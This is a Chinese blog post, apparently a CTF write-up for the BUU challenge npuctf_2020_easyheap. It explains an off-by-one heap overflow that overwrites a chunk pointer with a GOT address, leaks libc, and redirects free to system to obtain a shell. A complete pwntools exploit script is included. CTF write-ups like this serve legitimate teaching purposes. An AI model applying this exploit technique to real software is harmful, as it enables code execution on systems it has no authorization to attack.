首页 > 其他分享 >off by one 改got表

off by one 改got表

时间:2024-09-02 20:47:09浏览次数:5  
标签:off libc chunk free recvuntil got chunk1

BUU——npuctf_2020_easyheap

off by one利用:每次申请chunk程序默认申请一个0x10大小的chunk,用于存自己申请的chunk的大小和地址,正是利用这个地址,将其修改为free_got泄露libc基地址,之后再将free地址修改为system函数,传入"/bin/sh\x00"即可system("/bin/sh")。

如何修改:申请两个chunk,利用off by one 将chunk1大小修改为0x41,free chunk1时,先free chunk1,再free chunk1的默认chunk。再次将chunk1申请回来,先用chunk1的地址处空间给new chunk1默认chunk,然后再分配给new chunk1地址。所以new chunk1的默认chunk占用了原来chunk1的位置(被写入free_got),此时show(new_chunk1),根据 new chunk 的 默认chunk中存的new chunk的地址,即上述写入的free_got,泄露libc基地址。

主要思路:free chunk和再次申请chunk时,默认chunk和chunk的顺序不同,可导致了内容交换、泄露。修改free_got指向system

from pwn import *
from LibcSearcher import *
from struct import *

local = 1
debug = 1

binary = "./npuctf_2020_easyheap"
elf = ELF(binary)

context.arch = elf.arch
context.os = elf.os
context.log_level = "debug" if debug else "info"

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
    # lib = "/lib/i386-linux-gnu/libc.so.6"
else:
    ip = "node5.buuoj.cn"
    port = "26858"
    p = remote(ip, port)
    lib = ""

if lib != "":
    libc = ELF(lib)

def launch_gdb():
    gdb.attach(p)
    pause()

def log_puts_addr():
    print("puts_addr is ",hex(puts_addr))

def log_canary():
    print("canary is ",hex(canary)) 


atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
	p.recvuntil("Your choice :")
	p.sendline(str(choice))

def create(size,content):
	cmd(1)
	p.recvuntil("only) :")
	p.sendline(str(size))
	p.recvuntil("Content:")
	p.sendline(content)

def edit(idx,content):
	cmd(2)
	p.recvuntil("Index :")
	p.sendline(str(idx))
	p.recvuntil("Content:")
	p.sendline(content)

def show(idx):
	cmd(3)
	p.recvuntil("Index :")
	p.sendline(str(idx))

def delete(idx):
	cmd(4)
	p.recvuntil("Index :")
	p.sendline(str(idx))

create(0x18,"aaaa")
create(0x18,"aaaa")

launch_gdb()

payload = b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = b'a' * 0x20 + p64(0x38) + p64(atoi_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil(b"\x7f")[-6:]+b"\x00\x00")

print(hex(free_addr))

libc_base = free_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

edit(1,p64(system))
delete(0)

p.interactive()

标签:off,libc,chunk,free,recvuntil,got,chunk1
From: https://www.cnblogs.com/S0pHi3/p/18393500

相关文章

  • [KB]Office安装出现报错30182-39.md
    问题现象:需重新启动很抱歉,遇到问题。请在重启计算机后重试。联机查找更多帮助。错误代码:30182-39反复重启后再执行安装,报错没有任何变化。原因分析:这个问题一般出现在同时安装了Office和Office365然后卸载了他们之后,再重新安装Office时出现;根本的原因就是多个版本共存与OS中,卸载......
  • zdppy+vue3+onlyoffice文档管理系统实战 20240901 上课笔记 基于验证码登录功能基本完
    遗留的问题1、点击切换验证码2、1分钟后自动切换验证码点击切换验证码实现步骤:1、点击事件2、调用验证码接口3、更新验证码的值点击事件给图片添加点击事件:<img:src="'data:image/png;base64,'+captchaImg"style="width:100%;height:50px;margin-top:10......
  • PageOffice6国产Linux系统最简集成代码(Asp.Net)
    本文描述了PageOffice产品在普通的Asp.Net项目中如何集成调用。PageOffice国产版:支持信创系统,支持银河麒麟V10和统信UOS,支持X86(intel、兆芯、海光等)、ARM(飞腾、鲲鹏、麒麟等)、longarch芯片架构。新建Asp.Net项目:PageOffice6-Net-Simple在您的web项目的“依赖项-包-管理NuGet......
  • 程序员失业日记4:半个月拿下4个offer
    上篇文章很多小伙伴留言也讲到自己被公司裁员,还有的细心的小伙伴说去年九月就被裁了,在看一下文章的发布时间,绷不住了。先和大家说一下,我已经找到工作,因为最近工作一直都很忙,加上自己也比较懒,所以就拖了很久才写的。之前没说就是为了方便写后面的文章。也是通过本文分享一下自己找......
  • C# COM interact with Excel via Com Microsoft.Office.Interop.Excel,write content
    1.AddComReference,Microsoft.Office.Interop.Excel  2.usingMicrosoft.Office.Interop.Excel;usingSystem;usingSystem.IO;usingSystem.Runtime.CompilerServices;usingExcel=Microsoft.Office.Interop.Excel;usingSystem.Reflection;namespaceConsol......
  • 告别深夜熬夜,PowerOff自动关机助你早睡好梦!
    前言你是否有这样的经历,计划10点关电脑睡觉,到了12点还在面对屏幕“热恋”?你是否需要这么一款神器,在设定的时间自动关闭电脑,轻松告别“加班”,享受健康生活?嘿嘿,让我来告诉你,真的有这样一款神器存在——PowerOff!只需简单设置,就能设定好关机时间,无论是今晚的追剧时光,还是设定的......
  • 别着急面试㊙先背完答案✅offer接到手软
    别着急面试㊙先背完答案✅offer接到手软21/100保存草稿发布文章2401_85378759未选择任何文件new面试大模型岗的小伙伴们最近面试题背的怎么样啦-大模型(LLM)面试题是面试中比较常问到的,今天给大家整理了120个常见的大模型面试题✅1、目前主流的开源模型体系有哪些?(高......
  • 网站提示506 Variant Also Negotiates:服务器内部配置错误怎么办
    当遇到“506VariantAlsoNegotiates”错误时,这意味着服务器存在内部配置错误,特别是与内容协商相关的配置问题。此错误通常与透明内容协商协议(TransparentContentNegotiationProtocol)有关,该协议定义在RFC2295中。解决方案检查服务器配置如果你是服务器管理员,检查服务......
  • Android fork 进程 process(init/Zygote/SystemServer)
    ##Android的init/Zygote/SystemServer Android手机先开机,init/Zygote/SystemServer,然后启动Framework,然后启动Launcher;【安装APP(PMS),】然后启动APP(AMS)。所有的Android应用进程都是有Zygote进程fork出来的。Android系统启动流程(一)解析init进程-http://blog.csdn.net/itach......
  • 【论文阅读】TBA Faster Large Language Model Training Using SSD Based Activation
    摘要GPU内存容量的增长速度跟不上大型语言模型(llm)的增长速度,阻碍了模型的训练过程。特别是,激活——在前向传播过程中产生的中间张量,并在后向传播中重用——主导着GPU内存的使用。为了应对这一挑战,我们建议TBA将激活有效地卸载到高容量NVMessd上。这种方法通过自适应地将数据传......